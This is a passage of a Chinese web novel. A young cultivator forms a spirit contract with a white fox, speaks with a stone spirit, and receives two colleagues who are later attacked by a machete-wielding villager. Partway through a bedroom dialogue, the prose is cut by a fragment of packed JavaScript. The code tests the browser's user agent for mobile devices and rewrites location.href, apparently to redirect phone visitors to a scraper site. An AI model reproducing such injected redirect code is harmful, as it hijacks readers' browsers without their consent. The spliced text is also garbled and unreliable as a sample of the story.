燕迟看着白狐模样可爱,先束缚住才解开夹子,最后带着白狐和猎物一起下山回了家。
……
“爷爷,你看我带回了啥?铛铛铛!”
还没进屋,燕迟就大声喊道,看到爷爷抬头,他迫不及待的亮出手中的宝贝——一只绑了腿的小白狐。
“呵呵,迟哥儿,我们今天吃这小家伙?”做在灶台前烧水的枯瘦老人笑道。
燕迟瘪了瘪嘴,抗议道:“才不是呢,我要养它,把它养的村长家的大黄一样大。”
“这是只狐狸,不好养,你要养它,它乐意吗?”
“我问过它了,它同意的,你瞧!”
燕迟高兴的说道,说着他把白狐捧到面前。
“小白狐,你愿意我养你一辈子吗?”
“嘤~嘤嘤~”白狐低声嘤嘤的叫着。
“爷爷,你瞧,小白狐答应的,那些山鼠我就先放在这里了,白狐受伤了,我进屋给它上药去。”
看到燕迟兴奋的模样,爷爷笑而不语,乐呵呵的扭头继续烧水。
进屋后,
燕迟干脆利落的给白狐固定伤腿上了药,因为前爪上的毛发不好弄,他干脆给刮掉了。
因为刚开始白狐挣扎的厉害,不小心刮掉腿根一块毛发,好在没哟伤到皮肉
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。
为了彰示主权,他还用爷爷的墨水,在腿根那写上了自己的字—凡。
“以后你就是我的狐了,我给你取个名字,你是小白狐,是只母狐狸,喜欢嘤嘤叫,那你以后就叫白樱。好不好?”
“嘤嘤~”
……
“白樱,是你吗,白樱?”
燕迟按捺住心中的激动问道,他们已经好久没见了,当初爷爷去世的那天,它就失踪了,再然后已是近十年没有再见过。
“嘤~”白狐有气无力的应道。
“哈哈,真的是你,这些年你跑去哪了,当初我到处找你都找不到你。”
燕迟笑中带哭,把白狐抱在怀中倾述。
此情此景,屋内屋外仿佛融合到了一处,外面雨在下,里边泪在流。
不知过了多久,屋里的低语才停下来。
燕迟眼眶红红的找来一条干毛巾,为白狐擦干身上的泪痕。
“以后你就跟在我身边,不要跑了好不好。”
“嘤~嘤嘤嘤~”
白狐的声音仍像小时候那么清脆悦耳,燕迟开心的笑了,手上的动作不自觉加快了几分。
“那好,我们拉钩!”
他换了只手擦拭,右手握拳,弹出小拇指,白狐也伸出粉嫩的小爪子搭在小拇指上。
“拉钩上吊,一生一世不许变,谁变谁是……”
说完后,燕迟用大拇指和白狐爪心的小肉肉对按到一起。
拉完勾,一人一狐玩闹起来,倾述久别重逢的喜悦。
屋外,雨过天晴风暂歇,正如春风礼到花颜笑。
“话说这些年,你去哪里了,当初我怎么找不到你。”
“嘤嘤嘤~嘤嘤~嘤嘤~嘤嘤嘤~”
白狐嘤嘤说道,燕迟面色一苦,他是听不懂嘤语的。
“嘤嘤~嘤~嘤!”
白狐还在讲,可听在燕迟耳中却如闻天书,只知其声,不明其意。
“我有一法子,我们缔结契约吧,这样我们就能心意相同了。你愿不愿意?”燕迟蹭蹭白狐脑袋说道。
“嘤!~”白狐乖巧的用脑袋蹭着脸庞。
得到回应的燕迟,当即从老柜子里翻出一包银针,挑了一根细长的银针。
“来伸手。”
白狐乖乖伸出爪子。
“你可想好了?以后可就改不了了,”燕迟认真道。
“嘤~嘤嘤嘤!”白狐歪歪头。
燕迟抱起白狐,走到里屋最深处,推动墙壁,露出一条暗门。
他点燃一根蜡烛,带着白狐进入了暗道深处。
暗道有阶梯斜向下,两边有烛台,他家爷爷年轻时,靠着两膀子硬生生挖出来的。
暗道初极狭,才通人,前行数刻,豁然开朗。
暗道尽头别有洞天,有五个并排的巨大石洞,洞内空气清新,竟不觉沉闷。
左侧一石洞内有暗流流经,有一水道引水入池中,池底有出水口,盘旋数圈后,复归暗流中。
燕迟带着白狐径直往最中间的洞内,点燃一座烛台后,洞府明亮辉煌。
这里是爷爷最上心的地方,嵌了一百零八块镜子折散光源,做到仅是一烛台,便可照亮整个洞府。
在洞府里处,有一供台,上供三清五御之位,下祭一圣五帝十阎罗。
燕迟带着白狐到供台前。
“一纸契书,上表天庭,下鸣地府,当上奏九霄,……”
……
9. 白狐脱胎换骨,夜雨见石人。
拟定完契书,燕迟抱着白狐走到供桌旁边来到一个大箱子面前,一把掀开盖在上面的毡布,露出一个乌墨色箱子。
毡布掀起时,白狐埋头往燕迟怀里缩了缩,卷起毛茸茸的尾巴盖住了脑袋。
“没有灰尘,这里我回来时刚打扫过。“燕迟轻笑道。
闻言,白狐才探出脑袋来,看向箱子。
他拍了拍白狐,说道:“到肩膀上去。”
这白狐有半人高,少说也有四五十斤,却稳稳踩住了肩膀,站得稳稳的。
箱子打开,一股檀香混合沉香的幽香铺面而来,令白狐忍不住鼻尖耸动。
燕迟见状手疾眼快按下箱子,抓着白狐脑袋偏向一旁。
嗯嘤~
小白狐打了个喷嚏。
“小白,你注意些,这箱子里的灵香很宝贵的。”
燕迟再次打开箱子,箱子内赫然放满了半米多长,小拇指粗细的赤金色长香,长香摞得整整齐齐,映出辉煌金光。
没了箱子隔绝,一股幽邃醒神的淡淡香气从长香上弥漫出来,闻到香气的白狐眼中不自觉的露出渴望之色,身体绷紧仿佛下一秒就要扑进长香中。
“这可不是给你用的,小白,定气凝神,紧守灵台!”燕迟轻吒道。
他抬手一把抓住白狐后颈肉,控住了蠢蠢欲动的爪爪们。
“嘤~嘤嘤~嘤~”
白狐忍不住的扭动身躯,嘴里无意识的发出嘤咛声,眼中渴望疯狂与冷静并存。
一边是来自身体深处的渴求,让它酥痒难耐,一边是自我意识的欲望克制。
“嘤!!!”
白狐尖叫一声,负气的将头扭过一旁。
燕迟感受到白狐的决心,也松开了手,从箱子里取出三十三根大香,方才合上箱子。
取出来的长香像是得到了解封,散出的响起更加浓厚。
“嘤~嘤嘤嘤~”
白狐眼中纠结,眼神漂离,几次想扭头看向长香方向都克制住了,软乎乎的爪垫不自觉的打在旁边的大脑袋上。
“小白,你先下来。”
肉垫打的一点都不疼,软乎乎的像是在按摩,但该点香了,不能玩闹。
白狐闻言,径直从肩膀上跳落到地上,来到案桌前的垫子上盘成一团缩起脑袋,还用毛茸茸的尾巴盖严实。
长香点燃,幽香四逸,闻道者无不凝神静气、提神醒脑,通体舒畅,隐约有开悟之感。
上记九五之数,下合十八之数。
随着最后一根大香插在案桌前的香鼎内,弥散的香气好似都有了去处,九五之数的烟柱扶摇直上没入虚空,十八之数的烟柱垂落而下沉入大地,还有一柱落于香鼎内,宛若一汪烟池,
“小白,鞠躬叩首!”
燕迟跪坐在另一块垫子上,对旁边的白狐提醒道。
三叩九拜,礼成!
道明所求,上呈契书。
到了这一步,燕迟心中不免有些紧张,成于不成就看现在了。
若仅是结一灵兽契,自然不需这么麻烦,可他求的更多。
燕迟拿着契书来到香鼎前,将薄薄的金色契书一角置于香尖上,金契上燕迟、白樱名字有淡淡血印。
点不燃,
天地不允!
……
“请诸位祖师、漫天神佛、各路仙神见证,吾之决心。”
话毕,燕迟将金契放在香鼎内,走到另一侧,这里同样有毡布盖着,观其规模,远比之前的箱子要大出七八倍不止。
掀开毡布,露出一口大石钟,石钟悬于地,用铁链挂在数根水桶粗细的组成的架子上。
“请金钟!”燕迟恭敬喊道。
石钟无声,精诚所至金石为开!
故石钟无锤,击钟不以蛮力,以信念作锤,钟鸣天地知。
他看了一眼,懵懂跪坐在垫子上的白狐,露出笑容。
我的意志,不可动摇!!!
燕迟抬手一指点在石钟上。
铛!!!
一声钟鸣!
天地知其意!
又一指点落!
铛!!!
二声钟鸣!
神魔晓其声!
再一指!
铛!!!
三声钟鸣!
天道垂眸!
金契无风而动,无火自燃,化作两道金光没入一人一狐体内。
礼成!!!
一人一狐冥冥有感!
“燕迟,拜谢天地,拜谢诸位祖师,诸位祖师、漫天神佛、各路神仙。(嘤嘤!嘤嘤嘤~嘤嘤~嘤嘤嘤……)”
三叩九拜送诸神!
“小白,跟我来!”
“嘤~(好的,主人。)”
白狐轻轻一跃,便从垫子上跳到燕迟怀中。
他掂了掂白狐,抱着绕过案台往山洞深处走去。
最里头是一口直径有五米的圆形大坑,在坑底中心处有不足半米方圆的白色乳液。
这白色乳液可是大有来头,唤作天地龙髓乳,有脱胎换骨、洗练资质之神效,实乃天地灵物。
仅是一滴,便能让那些修行之人疯狂,而这里竟然有半米方圆的一摊?
圆坑坑底平缓,燕迟抱着白狐下了坑,来到天地龙髓乳旁。
“嘤~嘤嘤~(主人~,我要~???(●˙?˙●)????(^ω^?))”
他还没说话,白狐便已忍不住叫唤,两只爪爪肉垫不自觉的踩动着,身子扭捏好像有万虫啃噬。
这灵物对它的吸引远超长香无数倍,在见到的那一瞬,白狐就忍不住想挣开怀抱,跳入那白色乳液中。
但或许是缔结了契约,它的神魂、意志得到显著提升,能克制住这种由内及外的渴求。
“下去吧!就是给你准备的。”
“嘤~(我来啦~(??ˇ?ˇ?)?(????))”
……
另一边,
轰隆!
雷霆击碎黑夜,光明扫清邪祟。
烛光笼罩的房间中,有一男子来回踱步。
“念海,你瞧瞧这外面的天雷,忒吓人了,不会直接劈下来吧?”房德不安道。
原本雨都要停了,但是不知发生了什么变故,天空再度乌云密布,一道道紫色的雷霆横贯长空。
对于房德类修行之人来说,这紫色天雷并不陌生,这是天雷啊!
天雷十分恐怖,其威能与普通雷霆不可同日而语。
“放心吧!真劈你你也躲不了。”
屋内的床上传来懒洋洋的声音,遇到天雷能怎么办呢?
躺平就行,这样被劈死舒服点。
“你!啧……谢谢你的安慰,说得真好,不要再安慰了。”房德无语道。
虽然他也没听说有谁能躲天雷的。
“哎,你进去点,让我挤挤!”
房德坐到顾念海床边,脱了鞋就要往床上挤。
“挤啥挤,你自己什么体型没点数,比野猪还要壮硕,把床挤踏了,你今晚就打地铺去。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082040|179397||http|test|mini|href|location''.split(''|''),0,{}));
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>顾念海怎么可能让房德上床,两个大男人挤一张单人床,像样吗?
他伸手拦住就要躺下的房德,用劲推走他。
“别啊!等着天雷过去,我就回去,你瞧瞧这天雷,就在头顶上打转,那也不去,忒吓人!”
房德心有余悸地说道,他在两边的窗口看过,这天雷呆在头顶上不走了,轰隆隆的贼吓人。
如果有一个距离,那么他们绝对是距离这天雷最近的人。
“下去,不坐亏心事,不怕雷敲门,你又整了啥,莫不是这天雷是你招来的。”
顾念海从床上翻身而起,一脚蹬在房德身上,把他蹬倒在地,同时床架发出一声低吟。
“这怎么可能,我要是有那本事,我早炼成那五雷正法的本事了。”
被踢下床,房德也不恼,乐呵呵的想要坐到床边,但看到大脚丫子,最后从心地坐到了自己床上。
你问为啥不用手?
那当然是脚又大又有实力。
“你都觉得自己没用,老天爷会看得上你?”顾念海鄙夷道。
“少想那些有的没的,还不如趁这个时候练练你的五雷正法,或者借着这天雷去去心中的邪念。”
顾念海又躺到了床上,这么密集的天雷极其罕见,雷声宏正威严,弱一点的魑魅魍魉都会被这雷声直接震散,此刻正好以雷声洗涤心中邪念。
修炼五雷正法,找死呢!
只要有一道天雷劈下来,你我直接当场开席!
一旁的房德腹诽道,盘坐在床上静心打坐,也趁这个时候以雷霆洗涤心中邪念。
孔子曰:吾日三省吾身!
修行亦有云,修行者修心,心正道正则法正,心斜道斜正法斜。
……
子夜,
燕迟抱着缩水了两圈的白狐出来,原本有半人高的白狐,现在不到小腿高。
它得到了大机缘,褪去身上的暗伤、陈旧骨血,真正的脱胎换骨成为了灵兽,现在在燕迟怀中睡得正香。
燕迟封闭了暗道,带着白狐回到卧室,用薄毯围成一个小窝。
“乖,你在这里睡会,我有点事情,晚点就回来。”
他把白狐放进小窝,或许是薄毯带有亲近之人的味道,它蹭了蹭小窝,沉沉的陷入熟睡中。
斗笠,蓑衣,雨鞋,雨伞!
燕迟换了装束,从家里出来,冒着雨往山里走去。
天空中的天雷肆虐了一个时辰方才散去,雷霆散去后,那汇聚起来的云雨才匆忙落下,一落便落了好久。
雨时的山路最是泥泞,就是最好的赶山人也不会选在这个时候赶路。
是以没人看到一个模糊人影在山道上奔跑,那身影好似雨中的精灵,一点一跃便是四五米。
“我来了!”
一斗笠人落在一块大石头上后说道。
“见过小仙长,请仙长助我。”
山中的风经过石人七窍呜呜低鸣,却能让闻者通明其意。
“昨天晚上,是你吧?”
“是,也不是。”石人应道。
斗笠人正是燕迟,听到这话,心里有了数,善灵石人,其言挚诚,不会骗人。
“我听爷爷讲过你的故事,你真想放弃?”
他看着任由风吹雨打的石人,对方在风雨在一动不动,雨水落在它的身上再度滑落,它不悲不喜,好似一过客。
“树死根仍在,一丝残根藏生念,愿请仙长一渡!”
燕迟久久不语,耸立在雨中好似一座雕像。
10. 顾念海求助,赵九州小队
“天地灵胎不可动,亦不能动!”
“吾无意成道,只求在人间盛世繁华中走一遭,请仙长成全。”
“吾斗胆,请仙长看在昔日之情分,且渡我一回。”
……
翌日清晨。
“汤来咯~”
房德从厨房端出一碗汤放到桌子上,刚放稳便扭头喊道。
“顾念海开饭了,别忙活你的那本子了,再不来我先吃了,”
说话间,房德已经盛好饭做到桌子前,直接下筷。
他们小队没有什么条条框框,有什么事情提醒一下,听不听是对方的事情。
大家都是成年人,不用像照顾小孩一样。
很快,顾念海从屋里出来,装了碗饭坐到桌旁。
“过会我们去看看前所长。”
“行。”房德随意道,
随手又夹筷肉菜就着饭送进口中,这小山村就这么点大,去哪不是去?
“找乡亲们买点东西再过去,你推荐推荐。”顾念海说道。
房德在探查方面的本事像是点了天眼,别说是这个小山村,就是大些的县城,给这家伙半天时间,你想问哪家店能洗脚,有哪些个头牌,哪家店能收黑金,哪些人的门清。
他都了解的一清二楚,甚至能精确到那栋楼那户房门。
你说他为什么这么厉害,别问,问就是直觉……
“你要啥,只要村里有的,我都给你整来。”房德囫囵道,扒饭的手就没停过。
“带只大公鸡,带只嫩鸭,再加条活鱼就差不多了。”
要买的东西就三样,但都是肉,房德一听就察觉出猫腻。
“豁,挺丰盛的,你是有事找人家吧?”
听着房德那事不关己的语气,顾念海瞪了他一眼,为啥上门,这憨汉心里没点数吗?
“我这么做还不是为了你们两?平时不烧香,临时抱佛脚,那也要佛祖乐意才行啊!”顾念海没好气的说道。
据说燕迟的实力很强,但有多强,也没有人能说得清楚,只知道有解决不了的事件,只要所长在,对方就闹腾不起来。
他就像一根定海神针一样,哪怕到了现场什么都不做,事件就能向好的一面发展。
有人说他的修为高深莫测,仅需神魂离体就能斩灭灵异。
也有人说他的气运太强,连带着周围的人都能逢凶化吉。
还有人说……
传闻很多,都没有切实的证据,但有一点,顾念海能肯定,所长并非简单人物。
他们小队已经陷在石人泥坑中了,必须要破局,不然迟早要被这泥坑吞没。
天道沉寂,但不是死了。
想对石人动手,先看看自己命够不够硬吧。
吃完饭,房德带着顾念海村东买鸭子,村西买攻击,村南换零钱,村北买活鱼。
把村子跑了一圈,总算是凑够了礼物,还多了两把村民赠的青菜,刚摘的,新鲜!
村东南的一栋二层房屋门前。
“燕所,燕所在吗?”顾念海在门前大声喊道。
他这边喊着,房德已经上前,手掌一推,大门就打开了。
“先进院子看看,说不定燕所还没醒。”
房德说道,径直进了院子。
顾念海无奈一笑,可惜宋应星不在,要不都不会带这呆子来。
他喊的是礼貌,喊的是人情世故。
进了院子,不远处就是正门。
“嘤~嘤嘤!!”
“好漂亮小狐狸。”
房德一进门就注意到了铁窗上的小白狐,那小白狐体长不到半米,通体雪白,蓬松宽大的尾巴比身体长些,不注意的还以为尾巴才是本体。
白狐在窗边叫了两声,就跳回屋里去了。
“嘤~嘤嘤~嘤……”
浅细的嘤嘤声从屋里传来。
“好有灵性的小狐狸。”顾念海也听见了这股嘤嘤声。
“房德,你安静些,听我安排,别乱来。”
顾念海低声提醒道,房德直来直往的不会说话,让他当个架子就行。
过了一会,屋里传来脚步声。
吱呀!
大门打开了,开门的是一年轻人,他的肩膀上坐着一只小白狐,整只狐就比脑袋高出一点点。
“嘤~嘤嘤(就是他们!)”
“燕所早上好啊,我们来这边做任务,恰巧听说您也在这里,特意过来蹭蹭您的运气。”
顾念海一脸微笑的说道,不动声色的拍了个马屁。
燕迟看了看两人,热情道:“来都来了,带什么礼物,来来来,进屋做。”
他找来两把椅子和一个装了半桶水的水桶,椅子是给两人的,水桶是给顾念海手上那条被绑成弓形的鱼,还没死。
一鸡一鸭放在了屋外。
燕迟用简易透明塑料杯倒了茶水给两人,
“太久没回来了,只剩下一些粗茶,不要介意啊!”
“燕所也太客气了,这塑料杯子可是稀罕货,能用这杯子装的茶,它能普通嘛!”
顾念海说的都是实话,现在的生产力还不发达,透明塑料杯基本上都是那些高档酒店在用,一般的都是些玻璃杯、搪瓷杯什么的。
正所谓花花轿子人人抬,两人客套一阵后,顾念海才说明来意。
“燕所,你可要帮帮我们小队,咱苦啊!遇上这么一尊大神!……”
燕迟:“……”
房德:“……”
房德第一次看到那个不苟言笑、正人君子的队长还有这般‘怨妇’模样,一时之间愣在原地,没注意到他频频眨眼。
燕迟面露难色,久久不语。
其实他在和小白狐心神交流。
‘那个人哭得好厉害,可为什么他不伤心呢嘤~’
‘会哭的孩子有奶吃。’
‘???嘤~’
‘他哭了,你才会同情他啊,你才想帮他~’
‘可是他的身体很好啊,比村里的人还健壮,比山里的猪还厉害,为什么会同情呢嘤~’
‘你说的对~’
燕迟听后,都快绷不住脸上的苦色,哪有这样形容的,小白狐虽是灵兽,但缺乏人类世界的常识,以后要好好带,不能被其他人带歪了。
另一边,
顾念海眼睛都眨麻了,手上的生姜都快没效果了,这房德都熟视无睹,可真让人心累。
我原以为今天的难关是燕所,没想到是你把难关焊死,还加装了一把大锁——我亲、亲亲爱的队友——房、德!
原本平心静气的他,越想越气——越想越气,
于是乎~
“嗷!”
房德原地一蹦三尺高。
“顾……”
他刚开口就被顾念海搂住肩膀,捂上了嘴,顾念海比房德要高一点,两人靠在一起好似兄弟。
“燕所,房德的厨艺堪比五星酒店的大厨,他来之前就心心念念的想给您表演一把厨艺,您可千万要给一个机会。”
捂住嘴,顾念海情真意切的对燕迟说道。
“这是房德的心愿,您可千万给个机会啊!你说是不是,房德!
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”
说着,顾念海顶了顶房德,松开手。
手刚松开,
“顾……”
又捂上了。
“燕所,你看他怎么大个人了,激动得都要语无伦次了,您就给他这个机会吧。”
“顾……”
房德扭头挣开手掌,欲要说话,不觉腰间一僵,这里~有顾念海的另一只手,手指上的力道蓄势待发。
“说好的,听我的。”细如蚊蝇的声音传进房德耳中。
“燕所,您一定要试试房德的手艺,一定不会让您失望。”
顾念海说着,连拉带拽把房德带出去,临走还不忘提上一旁的水桶。
“……”
燕迟:他不瞎,谢谢!
‘嘤~为什么那个人会哭着哭着就生气了,好像还是生大个子的气~’
‘嘤~那个大个子真好玩,他好像不知道嘤~’
‘这……该怎么跟你解释呢?他们是没配合好,……’
就在燕迟和白樱交流时,顾念海和房德也开始忙活起来。
有时候没有直接拒绝那就是有机会,给房德一个机会,何尝不是给他们小队一个机会。
正所谓,吃人手短。
缘到了,路自然就通了。
……
另一边,县城。
“总算到县城了,可算是累死我了。”
宋应星抱怨道,这山路不是一般的难走,好在她没停过,恰好走出了那场暴雨的范围,一路紧赶慢赶总算到了县城。
“先洗个车吃个饭,把东西放到邮局先。”
她照着商量好的计划做着准备,来县城可不是来度假的,而是呼朋唤友来了。
……
816所,所长室。
“九州,这次你去责任重大,石人可不是那么好对付的,你……多加小心。”
一张手掌拍了拍赵九州的肩膀嘱咐道。
“请叶所放心,此去必将功成,不负所托!”赵九州坚定道。
此身已许国,若一去不回,定有喜鹊衔信归。
似乎是感受到赵九州的信念,那手掌定格在了肩膀上。
突然,
那手掌的主人动了,径直将赵九州拥入怀中,紧紧的抱住对方,赵九州亦是如此。
‘九州,你若归来,我定不负你!’叶定方内心坚定道。
在这一批学员中,他是第一,赵九州第二,两人都是百年难得一遇的天才,怎会不知道这一次所面对的困难艰险?
石人,它就在那里,无论是理会还是不理会。
难的从来不是怎么对付石人,难的是怎么是抗住天地的反噬。
好半响,
“我给你安排了人手,放心用,大胆用,用好他们,我们才能成功。”
叶定方拿出一个文件夹,抽出了后面的几张,又从一个档案袋中取出了几张加入文件夹中,递给赵九州。
“你看看。”
赵九州接过文件夹打开,最上面的是新加入的几人,白发苍苍,面带英气。
接连九页都是如此,他们都是各自门派的顶梁柱,定海针!
干他们这一行,年轻的人,不一定弱,但老人一定有实力。
“这……”赵九州有些迟疑。
“不要有顾虑,他们已经做好了准备,一代人有一代人的拼搏,我们所做的,便是不要辜负!不要有顾虑。”
叶定方笑道,舍得,舍得,有舍方得。
他们的身后事已经安排好了。
学成文与艺,卖予帝王家!
11. 匹夫之怒,李大拐要娘亲。
“顾所,您这灵狐可真漂亮。”
顾念海夸赞道,特意挑了个大鸡腿放到灵狐碗里,灵狐来者不拒,吃得津津有味。
燕迟家里的饭桌是八仙桌,桌面宽大,桌上摆上了鸡鸭肉各两盘,红烧鱼一盘,高汤一碗,炒青菜一盘,还有充裕的空间。
白狐独自坐一面,其他三人各坐一面,它想吃啥叫唤一声,燕迟就夹到碗里给它。
顾念海和房德见此也没有什么意见,首先白狐能上桌一起吃饭,就足以说明燕迟对它的重视,主人都没觉得不妥,作为客人又怎方便发言?
其次,这样的行径他们见多了,比这更离谱的他们都见过,比如说和蛇同吃同住的,相亲相爱,酿酿酱酱。
又比如说一体双魂,共用一具身体的,白天男身,吃香喝辣,放荡不羁,晚上女相,梳妆打扮,刺绣抚琴。
先前顾念海几番搭话,燕迟都在打太极,每每到了关键处,燕迟不是装作没听见,就是夹鸡肉喂给小狐狸。
心知找燕迟不行,顾念海便将目光转向小白狐。
“燕所,您这白狐真有灵性,有灵狐的影子呢。”
燕迟闻言,轻轻一笑。
“嘤~嘤嘤~(人家就是灵狐嘤~)”
“它就是一只灵狐。”燕迟笑道。
“倒是看走眼了,只觉得这灵狐神异不凡,没想到看走眼了,今天总算看到一只货真价实的灵狐了。”
顾念海有点惊讶,随即惊喜的夸赞道。
“嘤~”
“这么小的灵狐实在难得一见,恭喜顾所喜得灵兽,敬顾所一杯。”
“俺也一样。”
顾念海赞叹道,他拿起酒杯等待燕迟回应,一旁的房德有样学样。
酒是米酒,村民自家酿的,度数不高,就有点酒味,喝不醉人。
“来,干!”
燕迟抬起酒杯,和两人轻碰了一下。
酒过三巡,吃饱喝足,一场饭局已然接近尾声。
或许是菜太好吃了,白狐吃撑了,肚皮圆滚滚的,一整只鸡大半都在它小小的身体里了。
“嘤~(主人,他们想要你帮忙!)”
‘我晓得!’燕迟和白狐心神交流,两人的心思摆得很明显,就是上门求帮忙的。
正所谓,穷在闹市无人问,富在深山有远亲,他都回到村里了,一个旮旯不能再旮旯的村子,同事上门,可能是叙旧吗?
他们的关系可没这么好。
“吃也吃了,喝也喝了,你们的来意我也知晓,但我不能出手。”
燕迟对着二人说道。
“你!”
房德急了,刚开口就被顾念海按住。
“还请顾所指个一二,不怕前方困难重重,就怕一叶障目,迷失方向。”
顾念海头脑清楚,他来找燕迟就只为了一句话。
如果一顿饭、几句好话就能请得动,那么他就要好好审视一下自己的处境了,也只有旁边的这呆子才会这么无邪。
燕迟轻轻一笑,转而说道。
“你们该走了,我送送你们。”
“顾所!你!”
“顾……”
燕迟没有理会二人的升腾起来的情绪,没头没尾的说了一句。
“时间到了,走吧,我送送你们。”
时间到了!
顾念海瞳孔一缩,这是什么时间,他突然发觉自己忽略了什么。
对于他们这些人来说,时间到了,送送你们。这蕴含的意思可没有表面上那么简单。
“走!”
顾念海对着房德低喝一声,用力掐了一下那结实的大臂,扭头对燕迟笑道。
“顾所,这次冒昧而来,太叨扰您了,下次来,您可别把我们拦在门外啊!”
“下次不会的。”
“走吧。”
燕迟抱着白樱率先出了门,而他都作为领路人都先走了,落在后面的顾念海拉着房德自然不能落下太远。
刚出门口来到院子里,顾念海就觉一阵微风吹过,脑袋有些昏沉。
这……他好像喝醉了。
旁边的房德也是如此,酒桌上他不得开口,一个劲的在那里吃饭喝酒,就数他喝得最多。
顾念海晃晃脑袋,感觉清醒很多,看到燕迟已经在大门外等着了。
他不假思索拉上房德继续往外走。
“路上慢点走,欢迎你们下次再来做客。”
“嗯,好!”顾念海迟钝的应道。
两人在燕迟的目视下,摇摇晃晃走出大门,直到走出了十多米,顾念海方才有点懊恼。
刚刚回答的实在是太随意了,应该顺势应下,明天继续过来的。
突然,一道亮光闪过他的脸庞。
好刺眼的光。
顾念海如是想道,他逆着光的方向看去,看到……
不好!
顾念海猛的一把推开房德,然后向着另一边扑倒。
一把柴刀在两人原先的位置劈下,握持柴刀的是一个高高壮壮,长的黝黑的中年男子。
一劈不成,又接一刀,刀锋朝着顾念海砍去,
“啊呸呸呸!顾念海你……”
房德被大力推飞出去三四米,一下子摔在地上,村里刚下过雨,他摔得不重,但因为是脸朝下,啃了一口泥土。
“卧槽!!!∑(?Д?ノ)ノ”
迷糊的房德惊出一身冷汗,整个人酒醒了大半,他看到一个拿着柴刀的疯子在追着地上的人砍。
再仔细一看,那地上的人不是顾念海又是何人。
“那里来的蟊贼,活的不耐烦了。”房德暴吼出声,喷着粗气从地上爬起来,冲那柴刀疯子奔去。
那疯子听见怒喝滞了一瞬,手上的柴刀险险擦着衣角砍到地上,
“蟊贼,受死!”
房德冲到那疯子身后,猛的一拳轰出。
那疯子一弯腰躲过拳头,反手柴刀砍向大腿,刀势又猛又烈。
房德不得已连连退出三四步才躲过,那疯子趁势后滚站了起来,面向房德。
“你是谁,到底有什么目的。”
房德低喝道,眼前这疯子比他还高些,身上的肌肉棱角清晰可见,对方面目狰狞,双目赤红,看他的眼神满是仇恨,恨不得把他砍碎撕烂。
这人是谁?为何对他们带着杀意?
“杀!”
没有给房德思考的时间,疯子低吼一声,握着柴刀就冲了过来。
那柴刀长有六十公分,柄长十五公分,刀身长四十五厘米,末端还有弯钩。
这么一柄柴刀在那疯子手中有破竹碎石之威,房德又是刚喝了酒,手脚还有些不灵敏,只能在那疯子刀下疲于躲闪。
一时之间,两人倒是打了个势均力敌。
顾念海在一旁看得焦急,他能看出来这疯子十分强壮,有一身的蛮力,战斗直觉十分惊人,最关键的是,对方的打法完全就是以伤换伤,以命博命的打法,就像是一头人形野兽。
突然,他看到了不远处的的燕迟,绕了一个大弯跑到大门前,刚想冲进院内,却被伸出的手臂拦住了。
“只能拿木棍,不能拿铁制品。”燕迟平淡的说道。
“顾所,你!这疯子是你喊来的!”
顾念海只觉怒意上涌,厉声质问,他们会不会是一伙的,这疯子显然是知道二人行踪才在这里埋伏的。
就在他将要动手时,就听到……
“这是你们的因果,你要动人家的干娘,还不准儿子守护娘亲?”
干娘?
他是!
李大拐!
顾念海转瞬明白过来,扭头看了那疯子一眼。
房德受伤了。
形式危急,现在不是掰扯的时候,顾念海只得先答应下来。
“好!”
燕迟收手让开大门的通道,顾念海冲进院子内,目光在扫过院内角角落落,很快就找到了需要的东西。
一根扁担!
他跑到那堆放着铁铲、铁锄等工具的位置,一把抓住扁担就想往外跑。
突然,他督到不远处的柴堆下有个大家伙。
哗啦~
“房德,接好了!嘿啊!”
顾念海怀抱一根长木头冲出大门,沉腰上肩,木头被举上肩膀,随着双臂青筋暴起,那根长木像根巨大标枪投向打斗的二人。
“来得好!”房德喜道。
这根三米来长、碗口粗细的木头来得正好。
房德后跳探身扭腰一气呵成,抱住木头使了巧劲借力横扫。
那李大拐见状,一刀砍在木头上,紧接侧身顶肘,木头末端竟然从刀砍处断开,斜斜飞出。
“卧槽!”
房德看得眉头一挑,这疯子……
顾念海同样看到了这一幕,只得再度扭头跑向院内,这一次,燕迟没有拦着。
他知道对方知道缘由的那一刻起,便不会从院里再拿出杀伤性强的武器,816所是解决灵异的,非必要时,不能杀人。
这也是房德没能擒下的缘故,生擒比击杀难太多了。
很快,顾念海带着一捆绳子跑出来,绳子陈旧,燕迟看得眼熟。
哦!这不是厨房角落的架子下的那捆麻绳嘛。
这么久了竟然还没老化?
“房德,给个机会!”
“好!”
房德督了眼顾念海手上的绳子,瞬间有了机会。
他一甩木头顶上柴刀,抱着木头往前冲了两
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步,紧接着松开木头,迎上那李大拐,拳肘互撼一记,不分伯仲。
木头太长,柴刀卡住了,李大拐甩臂扭腕欲将柴刀抽出。
房德见此,硬抗撞来的木头和拳头,同时手掌探向对方肘弯处。
击打麻穴,震落长刀。
双手扣腕,控制手掌。
抬腿顶膝反身架!
别臂摔身坐腰锁!
一转眼,房德就把李大拐摔趴到地上,整个人坐在腰上,双脚死死踩住手肘,双手死扣手腕,两个人近乎贴到一起。
“顾念海快点!”
“来了。”
麻绳在李大拐身上打了几个弯,又绕了几个圈,很快就绑住了他的手脚。
“松开!”顾念海喊了一句。
“好!”
房德一跳,跳出了两三米,李大拐没了身上的压制想爬起来,但被身上的绳子越束越紧,只能像只上岸的鱼,来回翻滚。
“这疯子那里来的,也没听说村里有这号人呐!这力气还挺大,赶得上牛了。”
房德疑惑道,被刀伤到的地方也就破了点皮,可被这疯子打到的地方,他不用看都知道已经起了淤青,个别地方晚些时候是要紫得发黑。
“李大拐,认石人当干娘那个!”顾念海提醒道。
“杀,杀,杀!”
“动干娘,你们有要死!杀!”
即便是被绳子束缚住,李大拐仍然扭动着爬过来想要咬他们一口。
“……”
突突突~
一辆摩托车载着两人由远及近驶来,正是王二麻子和村长。
“专家们,对不住!实在对不住!李大拐,还不给专家道歉!”
村长一下车就来到两人身旁连连道歉,他已经猜到了一些缘由。
“村长,他们要杀俺娘!”李大拐凄厉的喊道。
“俺没错,俺要杀了他们!”
